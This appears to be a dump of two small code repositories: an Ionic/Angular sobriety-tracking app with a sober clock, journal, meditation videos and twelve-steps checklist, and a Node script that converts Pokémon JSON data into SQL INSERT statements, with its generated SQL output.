this.journalService.setJournalPage(this.selectedMoment.get('year'), this.selectedMoment.get('month'));
}
private init = () => {
this.entry = this.params.get("entry") || {};
this.maxDate = moment().toISOString();
this.selectedDate = this.entry.date || moment().toISOString();
this.selectedMoment = moment(this.selectedDate);
this.journalService.setJournalPage(this.selectedMoment.year(), this.selectedMoment.month());
}
}<file_sep>import { Injectable } from '@angular/core';
import { FirebaseListObservable } from 'angularfire2/database';
import { ObservableDataService } from './observable-data.service';
import { AuthService } from './auth.service';
@Injectable()
export class JournalService {
private journalEntries: FirebaseListObservable<any>;
private journalPage: string;
constructor(private dataService: ObservableDataService, private auth: AuthService) {
}
setJournalPage = (year: any, month: any) => {
this.journalPage = '/journal/' + this.auth.getUser().user_id + '/' + year + '/' + month;
this.journalEntries = this.dataService.getObservableData(this.journalPage);
}
getJournalEntries = (): FirebaseListObservable<any> => {
return this.journalEntries;
}
upsertEntry = (entry: any) => {
if(entry.$key) {
this.journalEntries.update(entry.$key, entry);
} else {
this.journalEntries.push(entry);
}
}
remove = (entry: any) => {
this.journalEntries.remove(entry.$key);
}
}
<file_sep># soberdays
An app created to assist recovering addicts on the road to recovery.
Features include:
Sober Clock
Journal Entries
Meditation Music
12 Steps
<file_sep>export const TwelveSteps = [
{
step: "We admitted we were powerless over our addiction - that our lives had become unmanageable",
isCompleted: false,
stepNum: 1
},
{
step: "Came to believe that a Power greater than ourselves could restore us to sanity.",
isCompleted: false,
stepNum: 2
},
{
step: "Made a decision to turn our will and our lives over to the care of God as we understood God.",
isCompleted: false,
stepNum: 3
},
{
step: "Made a searching and fearless moral inventory of ourselves.",
isCompleted: false,
stepNum: 4
},
{
step: "Admitted to God, to ourselves and to another human being the exact nature of our wrongs.",
isCompleted: false,
stepNum: 5
},
{
step: "Were entirely ready to have God remove all these defects of character.",
isCompleted: false,
stepNum: 6
},
{
step: "Humbly asked God to remove our shortcomings.",
isCompleted: false,
stepNum: 7
},
{
step: "Made a list of all persons we had harmed, and became willing to make amends to them all.",
isCompleted: false,
stepNum: 8
},
{
step: "Made direct amends to such people wherever possible, except when to do so would injure them or others.",
isCompleted: false,
stepNum: 9
},
{
step: "Continued to take personal inventory and when we were wrong promptly admitted it.",
isCompleted: false,
stepNum: 10
},
{
step: "Sought through prayer and meditation to improve our conscious contact with God as we understood God, praying only for knowledge of God's will for us and the power to carry that out.",
isCompleted: false,
stepNum: 11
},
{
step: "Having had a spiritual awakening as the result of these steps, we tried to carry this message to other addicts, and to practice these principles in all our affairs.",
isCompleted: false,
stepNum: 12
}
]<file_sep>import {Observable} from 'rxjs/Rx';
import { Injectable } from '@angular/core';
import {AuthService} from './auth.service';
import {FirebaseListObservable} from 'angularfire2/database';
import { ObservableDataService } from './observable-data.service';
@Injectable()
export class SoberDayService {
private soberDay: any = {};
private user: any;
private days: FirebaseListObservable<any>;
constructor(private auth: AuthService, private dataService: ObservableDataService) {
this.init();
}
saveDate = (date : any): any => {
this.soberDay.dateSober = date;
this.soberDay.userId = this.user.user_id;
if(this.soberDay.$key) {
return this.days.update(this.soberDay.$key, this.soberDay);
}
return this.days.push(this.soberDay);
}
getSoberDay = (): Observable<SoberDay> => {
return this.days.map(days =>
days.filter(day => day.userId === this.user.user_id)[0]);
}
init = () => {
this.days = this.dataService.getObservableData('/soberDays');
this.user = this.auth.getUser() || {};
}
}
export class SoberDay {
public userId: any;
public dateSober: any;
}
<file_sep>import { Component } from '@angular/core';
import { SoberDayService, SoberDay } from '../../services/sober-day.service';
import {Observable} from 'rxjs/Rx';
import { LoadingController } from 'ionic-angular'
import * as moment from 'moment';
@Component({
selector: 'sober-clock',
templateUrl: 'sober-clock.html'
})
export class SoberClockPage {
private dateSober: any;
private daysSober: number = 0;
private hoursSober: number = 0;
private minutesSober: number = 0;
private secondsSober: number = 0;
private hideDate: boolean;
private soberDay: SoberDay;
private maxDate: any;
constructor(private soberClockService: SoberDayService, private loading: LoadingController) {
this.init();
}
checkTime = () => {
this.setDaysSober();
this.setHoursSober();
this.setMinutesSober();
this.setSecondsSober();
}
saveDate = () => {
const loading = this.loading.create({
showBackdrop: true,
content: "Saving date..."
});
loading.present();
this.soberClockService.saveDate(this.dateSober).then(() => {
this.hideDate = false;
loading.dismiss();
});;
}
init = () => {
this.maxDate = moment().toISOString();
this.hideDate = true;
const loading = this.loading.create({
showBackdrop: true,
content: "Loading please wait..."
});
loading.present();
this.soberClockService.getSoberDay().subscribe(day => {
if(day.dateSober && day.userId) {
this.soberDay = day;
this.hideDate = false;
let timer = Observable.timer(0,1000);
timer.subscribe(this.checkTime);
}
loading.dismiss();
});
}
onEditClick = () => {
this.hideDate = !this.hideDate;
this.dateSober = this.soberDay.dateSober;
}
setDaysSober = () => {
this.daysSober = moment().diff(this.soberDay.dateSober, 'days');
}
setHoursSober = () => {
this.hoursSober = moment().hours();
}
setMinutesSober = () => {
this.minutesSober = moment().minutes();
}
setSecondsSober = () => {
this.secondsSober = moment().seconds();
}
}
<file_sep>import { Component } from '@angular/core';
import { ObservableDataService } from '../../services/observable-data.service';
import { StepsService } from '../../services/steps.service';
@Component({
selector: 'page-twelve-steps',
templateUrl: 'twelve-steps.html'
})
export class TwelveStepsPage {
private steps: any = [];
constructor(private dataService: ObservableDataService,
private stepsService: StepsService) {
this.init();
}
markCompleted = (step : any) => {
step.isCompleted = !step.isCompleted;
this.stepsService.completeStep(step);
}
init = () => {
this.stepsService.getCompletedSteps().subscribe(steps => {
this.steps = steps;
});
}
}
<file_sep>import { Injectable } from '@angular/core';
import {AngularFireDatabase, FirebaseListObservable} from 'angularfire2/database';
@Injectable()
export class ObservableDataService {
constructor(private af: AngularFireDatabase) {
}
getObservableData = (dataPath: any) : FirebaseListObservable<any> => {
return this.af.list(dataPath);
}
}
<file_sep>import { Injectable } from '@angular/core';
import { FirebaseListObservable } from 'angularfire2/database';
import { ObservableDataService } from './observable-data.service';
import { AuthService } from './auth.service';
import { TwelveSteps } from '../common/constants/twelve-steps.cnst'
import {Observable} from 'rxjs/Observable';
@Injectable()
export class StepsService {
private steps: FirebaseListObservable<any>;
private allSteps: Array<any> = TwelveSteps;
constructor(private dataService: ObservableDataService, private auth: AuthService) {
this.init();
}
getCompletedSteps = (): Observable<any> => {
return this.steps.filter(step => step.isCompleted = true);
}
completeStep = (step: any) => {
this.steps.update(step.$key, step);
}
init = () => {
this.steps = this.dataService.getObservableData("/steps/" + this.auth.getUser().user_id);
this.steps.subscribe(steps => {
if(steps.length === 0) {
for(let step of this.allSteps) {
this.steps.push(step);
}
}
});
}
}
<file_sep>import { NgModule, ErrorHandler } from '@angular/core';
import { IonicApp, IonicModule, IonicErrorHandler } from 'ionic-angular';
import { SoberClockPage } from '../pages/sober-clock/sober-clock';
import { MeditationPage } from '../pages/meditation/meditation';
import { TwelveStepsPage } from '../pages/twelve-steps/twelve-steps';
import { TabsPage } from '../pages/tabs/tabs';
import { JournalPage } from '../pages/journal/journal';
import { JournalEditPage } from '../pages/journal/edit/journal-edit';
import { DatePicker } from '@ionic-native/date-picker';
import { ServicesModule } from '../services/services.module';
import { YoutubeVideoPlayer } from '@ionic-native/youtube-video-player';
@NgModule({
declarations: [
SoberClockPage,
MeditationPage,
TwelveStepsPage,
TabsPage,
JournalPage,
JournalEditPage
],
imports: [
IonicModule.forRoot(SoberClockPage),
IonicModule.forRoot(MeditationPage),
IonicModule.forRoot(TwelveStepsPage),
IonicModule.forRoot(TabsPage),
IonicModule.forRoot(JournalPage),
IonicModule.forRoot(JournalEditPage),
ServicesModule
],
bootstrap: [],
entryComponents: [
SoberClockPage,
MeditationPage,
TwelveStepsPage,
TabsPage,
JournalPage,
JournalEditPage
],
providers: [
DatePicker,
{provide: ErrorHandler, useClass: IonicErrorHandler},
YoutubeVideoPlayer
]
})
export class PagesModule {}
<file_sep>import { Component } from '@angular/core';
import { LoadingController } from 'ionic-angular';
import { YoutubeService } from '../../services/youtube.service'
import { YoutubeVideoPlayer } from '@ionic-native/youtube-video-player';
@Component({
selector: 'page-meditation',
templateUrl: 'meditation.html',
})
export class MeditationPage {
vPlayer = true;
videos = {};
search = {
params:'meditation music'
};
constructor(private youtubeService: YoutubeService,
private loadingCtrl:LoadingController,
private youtubePlayer: YoutubeVideoPlayer) {
this.findVideos();
}
findVideos = ($event?) => {
const loading = this.loadingCtrl.create();
loading.present();
this.youtubeService.getVideos(this.search.params).subscribe(
videos => {
this.videos=videos;
loading.dismiss();
},
err=>{
console.log(err);
}
);
}
playVideo = (id) => {
this.youtubePlayer.openVideo(id);
}
} | 92f0d43a3dfdd9214aecf1730e2ec42808bde315 | [
"Markdown",
"TypeScript"
] | 14 | TypeScript | doneal1992/soberdays | 8a0f131835c88899fb764dda5c5cfc7e8ca6ec74 | 2ce2f6336d65c8829f92122ce54ac39437cb7236 |
refs/heads/master | <file_sep>var someObjest=new Object();
function add(obj){
someObjest.checked=true;
}
add(someObjest);
var checkObj=someObjest.checked;
alert(checkObj);<file_sep>var s;
var inputString=prompt('Введите вашу строку','');
function newString(someString){
return 'Вы ввели'+" "+someString+" "+'полученая строка'+" "+someString;
}
console.log(newString(inputString));<file_sep>var firstOperand,secondOperand;
firstOperand=prompt('Введите ваше число','');
secondOperand=prompt('Введите второе число','');
function check(a,b) {
if(a>b){return true;}
else return false;
}
console.log(check(firstOperand,secondOperand));
var s;
var inputString=prompt('Write your string','string not find');
function newString(someString){
return 'Вы ввели'+" "+someString+" "+'полученая строка'+" "+someString;
}
alert(newString(inputString));
<file_sep>var randOperand=prompt('Напишите число','');
function outputToNumber(number){
for(var i=0;i<=number;i++)
{
console.log(i);
}
for(;i>=0;i--)
{
console.log(i);
}
}
outputToNumber(randOperand); | 57969717cd76962c057afb585e035005a37eb77b | [
"JavaScript"
] | 4 | JavaScript | PavelTaranda/gitTasks | a8659f0d19300786eefcf4b390f146bf82095990 | 85387a2d8eadea85ccf593d7437cbb5145d57666 |
refs/heads/master | <repo_name>nickangtc/convert-json-to-sql<file_sep>/convert.js
const jsonfile = require('jsonfile');
const fs = require('fs');
/**
* ===========================
* Command line interface
* ===========================
*/
// Extract command line arguments
console.log('process.argv:');
console.log(process.argv);
const action = process.argv[2];
const input = process.argv.splice(3);
// Map valid command line inputs to the correct functions
const actionMapper = {
'convert': convert
};
// Execute
const output = actionMapper[action](input);
console.log(output);
/**
* ===========================
* Implementation
* ===========================
*/
function convert(input) {
const [jsonFilename, sqlFilename] = input;
// exit if json or sql files are not specified
if (!jsonFilename || !sqlFilename) return 'Error';
// use jsonfile module to read json file
jsonfile.readFile(jsonFilename, (err, data) => {
if (err) return console.error(err);
const pokemons = data.pokemon;
const sqlArray = [];
const fields = ['name', 'num', 'img', 'weight', 'height'];
for (let i = 0; i < pokemons.length; i++) {
const pkm = pokemons[i];
// map pokemon data from object into array
const values = fields.map((field) => {
let value = pkm[field];
if (typeof field === 'string') {
value = value.replace(/'/i, "''");
}
return `'${value}'`;
});
// construct single SQL query
const formattedSql = `
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
(${values})`;
// add constructed SQL query into an accumulating array
sqlArray.push(formattedSql);
}
// convert array of SQL queries into a single string separated by `;`
const combinedSql = sqlArray.join(`;
`) + ';';
console.log('Converted! Output SQL file looks like this:');
console.log(combinedSql);
// use fs module to write text file
fs.writeFile(sqlFilename, combinedSql, (err2) => {
if (err2) return console.error(err2);
console.log('Done.');
});
});
}
<file_sep>/README.md
# Convert JSON into SQL
Simple Node script that takes in JSON from a `.json` file and converts them into `INSERT INTO...` SQL queries, outputting the result into a specified `.sql` file.
__Features:__
* Run `node convert.js <jsonfile.json> <converted.sql>` to use -- ensure you've created an empty `converted.sql` file
* Escapes `'` characters in output SQL by replacing with double `''`
Note: This is not a general purpose script. It's merely a template that you'll have to modify code in order to adapt to different use cases.
<file_sep>/converted.sql
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Bulbasaur','001','http://www.serebii.net/pokemongo/pokemon/001.png','6.9 kg','0.71 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Ivysaur','002','http://www.serebii.net/pokemongo/pokemon/002.png','13.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Venusaur','003','http://www.serebii.net/pokemongo/pokemon/003.png','100.0 kg','2.01 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Charmander','004','http://www.serebii.net/pokemongo/pokemon/004.png','8.5 kg','0.61 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Charmeleon','005','http://www.serebii.net/pokemongo/pokemon/005.png','19.0 kg','1.09 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Charizard','006','http://www.serebii.net/pokemongo/pokemon/006.png','90.5 kg','1.70 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Squirtle','007','http://www.serebii.net/pokemongo/pokemon/007.png','9.0 kg','0.51 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Wartortle','008','http://www.serebii.net/pokemongo/pokemon/008.png','22.5 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Blastoise','009','http://www.serebii.net/pokemongo/pokemon/009.png','85.5 kg','1.60 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Caterpie','010','http://www.serebii.net/pokemongo/pokemon/010.png','2.9 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Metapod','011','http://www.serebii.net/pokemongo/pokemon/011.png','9.9 kg','0.71 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Butterfree','012','http://www.serebii.net/pokemongo/pokemon/012.png','32.0 kg','1.09 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Weedle','013','http://www.serebii.net/pokemongo/pokemon/013.png','3.2 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Kakuna','014','http://www.serebii.net/pokemongo/pokemon/014.png','10.0 kg','0.61 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Beedrill','015','http://www.serebii.net/pokemongo/pokemon/015.png','29.5 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Pidgey','016','http://www.serebii.net/pokemongo/pokemon/016.png','1.8 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Pidgeotto','017','http://www.serebii.net/pokemongo/pokemon/017.png','30.0 kg','1.09 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Pidgeot','018','http://www.serebii.net/pokemongo/pokemon/018.png','39.5 kg','1.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Rattata','019','http://www.serebii.net/pokemongo/pokemon/019.png','3.5 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Raticate','020','http://www.serebii.net/pokemongo/pokemon/020.png','18.5 kg','0.71 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Spearow','021','http://www.serebii.net/pokemongo/pokemon/021.png','2.0 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Fearow','022','http://www.serebii.net/pokemongo/pokemon/022.png','38.0 kg','1.19 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Ekans','023','http://www.serebii.net/pokemongo/pokemon/023.png','6.9 kg','2.01 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Arbok','024','http://www.serebii.net/pokemongo/pokemon/024.png','65.0 kg','3.51 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Pikachu','025','http://www.serebii.net/pokemongo/pokemon/025.png','6.0 kg','0.41 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Raichu','026','http://www.serebii.net/pokemongo/pokemon/026.png','30.0 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Sandshrew','027','http://www.serebii.net/pokemongo/pokemon/027.png','12.0 kg','0.61 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Sandslash','028','http://www.serebii.net/pokemongo/pokemon/028.png','29.5 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Nidoran ♀ (Female)','029','http://www.serebii.net/pokemongo/pokemon/029.png','7.0 kg','0.41 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Nidorina','030','http://www.serebii.net/pokemongo/pokemon/030.png','20.0 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Nidoqueen','031','http://www.serebii.net/pokemongo/pokemon/031.png','60.0 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Nidoran ♂ (Male)','032','http://www.serebii.net/pokemongo/pokemon/032.png','9.0 kg','0.51 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Nidorino','033','http://www.serebii.net/pokemongo/pokemon/033.png','19.5 kg','0.89 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Nidoking','034','http://www.serebii.net/pokemongo/pokemon/034.png','62.0 kg','1.40 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Clefairy','035','http://www.serebii.net/pokemongo/pokemon/035.png','7.5 kg','0.61 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Clefable','036','http://www.serebii.net/pokemongo/pokemon/036.png','40.0 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Vulpix','037','http://www.serebii.net/pokemongo/pokemon/037.png','9.9 kg','0.61 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Ninetales','038','http://www.serebii.net/pokemongo/pokemon/038.png','19.9 kg','1.09 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Jigglypuff','039','http://www.serebii.net/pokemongo/pokemon/039.png','5.5 kg','0.51 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Wigglytuff','040','http://www.serebii.net/pokemongo/pokemon/040.png','12.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Zubat','041','http://www.serebii.net/pokemongo/pokemon/041.png','7.5 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Golbat','042','http://www.serebii.net/pokemongo/pokemon/042.png','55.0 kg','1.60 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Oddish','043','http://www.serebii.net/pokemongo/pokemon/043.png','5.4 kg','0.51 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Gloom','044','http://www.serebii.net/pokemongo/pokemon/044.png','8.6 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Vileplume','045','http://www.serebii.net/pokemongo/pokemon/045.png','18.6 kg','1.19 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Paras','046','http://www.serebii.net/pokemongo/pokemon/046.png','5.4 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Parasect','047','http://www.serebii.net/pokemongo/pokemon/047.png','29.5 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Venonat','048','http://www.serebii.net/pokemongo/pokemon/048.png','30.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Venomoth','049','http://www.serebii.net/pokemongo/pokemon/049.png','12.5 kg','1.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Diglett','050','http://www.serebii.net/pokemongo/pokemon/050.png','0.8 kg','0.20 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Dugtrio','051','http://www.serebii.net/pokemongo/pokemon/051.png','33.3 kg','0.71 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Meowth','052','http://www.serebii.net/pokemongo/pokemon/052.png','4.2 kg','0.41 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Persian','053','http://www.serebii.net/pokemongo/pokemon/053.png','32.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Psyduck','054','http://www.serebii.net/pokemongo/pokemon/054.png','19.6 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Golduck','055','http://www.serebii.net/pokemongo/pokemon/055.png','76.6 kg','1.70 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Mankey','056','http://www.serebii.net/pokemongo/pokemon/056.png','28.0 kg','0.51 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Primeape','057','http://www.serebii.net/pokemongo/pokemon/057.png','32.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Growlithe','058','http://www.serebii.net/pokemongo/pokemon/058.png','19.0 kg','0.71 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Arcanine','059','http://www.serebii.net/pokemongo/pokemon/059.png','155.0 kg','1.91 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Poliwag','060','http://www.serebii.net/pokemongo/pokemon/060.png','12.4 kg','0.61 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Poliwhirl','061','http://www.serebii.net/pokemongo/pokemon/061.png','20.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Poliwrath','062','http://www.serebii.net/pokemongo/pokemon/062.png','54.0 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Abra','063','http://www.serebii.net/pokemongo/pokemon/063.png','19.5 kg','0.89 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Kadabra','064','http://www.serebii.net/pokemongo/pokemon/064.png','56.5 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Alakazam','065','http://www.serebii.net/pokemongo/pokemon/065.png','48.0 kg','1.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Machop','066','http://www.serebii.net/pokemongo/pokemon/066.png','19.5 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Machoke','067','http://www.serebii.net/pokemongo/pokemon/067.png','70.5 kg','1.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Machamp','068','http://www.serebii.net/pokemongo/pokemon/068.png','130.0 kg','1.60 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Bellsprout','069','http://www.serebii.net/pokemongo/pokemon/069.png','4.0 kg','0.71 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Weepinbell','070','http://www.serebii.net/pokemongo/pokemon/070.png','6.4 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Victreebel','071','http://www.serebii.net/pokemongo/pokemon/071.png','15.5 kg','1.70 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Tentacool','072','http://www.serebii.net/pokemongo/pokemon/072.png','45.5 kg','0.89 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Tentacruel','073','http://www.serebii.net/pokemongo/pokemon/073.png','55.0 kg','1.60 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Geodude','074','http://www.serebii.net/pokemongo/pokemon/074.png','20.0 kg','0.41 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Graveler','075','http://www.serebii.net/pokemongo/pokemon/075.png','105.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Golem','076','http://www.serebii.net/pokemongo/pokemon/076.png','300.0 kg','1.40 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Ponyta','077','http://www.serebii.net/pokemongo/pokemon/077.png','30.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Rapidash','078','http://www.serebii.net/pokemongo/pokemon/078.png','95.0 kg','1.70 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Slowpoke','079','http://www.serebii.net/pokemongo/pokemon/079.png','36.0 kg','1.19 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Slowbro','080','http://www.serebii.net/pokemongo/pokemon/080.png','78.5 kg','1.60 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Magnemite','081','http://www.serebii.net/pokemongo/pokemon/081.png','6.0 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Magneton','082','http://www.serebii.net/pokemongo/pokemon/082.png','60.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Farfetch''d','083','http://www.serebii.net/pokemongo/pokemon/083.png','15.0 kg','0.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Doduo','084','http://www.serebii.net/pokemongo/pokemon/084.png','39.2 kg','1.40 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Dodrio','085','http://www.serebii.net/pokemongo/pokemon/085.png','85.2 kg','1.80 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Seel','086','http://www.serebii.net/pokemongo/pokemon/086.png','90.0 kg','1.09 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Dewgong','087','http://www.serebii.net/pokemongo/pokemon/087.png','120.0 kg','1.70 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Grimer','088','http://www.serebii.net/pokemongo/pokemon/088.png','30.0 kg','0.89 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Muk','089','http://www.serebii.net/pokemongo/pokemon/089.png','30.0 kg','1.19 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Shellder','090','http://www.serebii.net/pokemongo/pokemon/090.png','4.0 kg','0.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Cloyster','091','http://www.serebii.net/pokemongo/pokemon/091.png','132.5 kg','1.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Gastly','092','http://www.serebii.net/pokemongo/pokemon/092.png','0.1 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Haunter','093','http://www.serebii.net/pokemongo/pokemon/093.png','0.1 kg','1.60 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Gengar','094','http://www.serebii.net/pokemongo/pokemon/094.png','40.5 kg','1.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Onix','095','http://www.serebii.net/pokemongo/pokemon/095.png','210.0 kg','8.79 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Drowzee','096','http://www.serebii.net/pokemongo/pokemon/096.png','32.4 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Hypno','097','http://www.serebii.net/pokemongo/pokemon/097.png','75.6 kg','1.60 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Krabby','098','http://www.serebii.net/pokemongo/pokemon/098.png','6.5 kg','0.41 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Kingler','099','http://www.serebii.net/pokemongo/pokemon/099.png','60.0 kg','1.30 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Voltorb','100','http://www.serebii.net/pokemongo/pokemon/100.png','10.4 kg','0.51 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Electrode','101','http://www.serebii.net/pokemongo/pokemon/101.png','66.6 kg','1.19 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Exeggcute','102','http://www.serebii.net/pokemongo/pokemon/102.png','2.5 kg','0.41 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Exeggutor','103','http://www.serebii.net/pokemongo/pokemon/103.png','120.0 kg','2.01 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Cubone','104','http://www.serebii.net/pokemongo/pokemon/104.png','6.5 kg','0.41 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Marowak','105','http://www.serebii.net/pokemongo/pokemon/105.png','45.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Hitmonlee','106','http://www.serebii.net/pokemongo/pokemon/106.png','49.8 kg','1.50 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Hitmonchan','107','http://www.serebii.net/pokemongo/pokemon/107.png','50.2 kg','1.40 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Lickitung','108','http://www.serebii.net/pokemongo/pokemon/108.png','65.5 kg','1.19 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Koffing','109','http://www.serebii.net/pokemongo/pokemon/109.png','1.0 kg','0.61 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Weezing','110','http://www.serebii.net/pokemongo/pokemon/110.png','9.5 kg','1.19 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Rhyhorn','111','http://www.serebii.net/pokemongo/pokemon/111.png','115.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Rhydon','112','http://www.serebii.net/pokemongo/pokemon/112.png','120.0 kg','1.91 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Chansey','113','http://www.serebii.net/pokemongo/pokemon/113.png','34.6 kg','1.09 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Tangela','114','http://www.serebii.net/pokemongo/pokemon/114.png','35.0 kg','0.99 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Kangaskhan','115','http://www.serebii.net/pokemongo/pokemon/115.png','80.0 kg','2.21 m');
INSERT INTO pokemons
(name, num, img, weight, height)
VALUES
('Horsea','116','http://www.serebii.net/pokemongo/pokemon/116.png','8.0 kg','0.41 m');
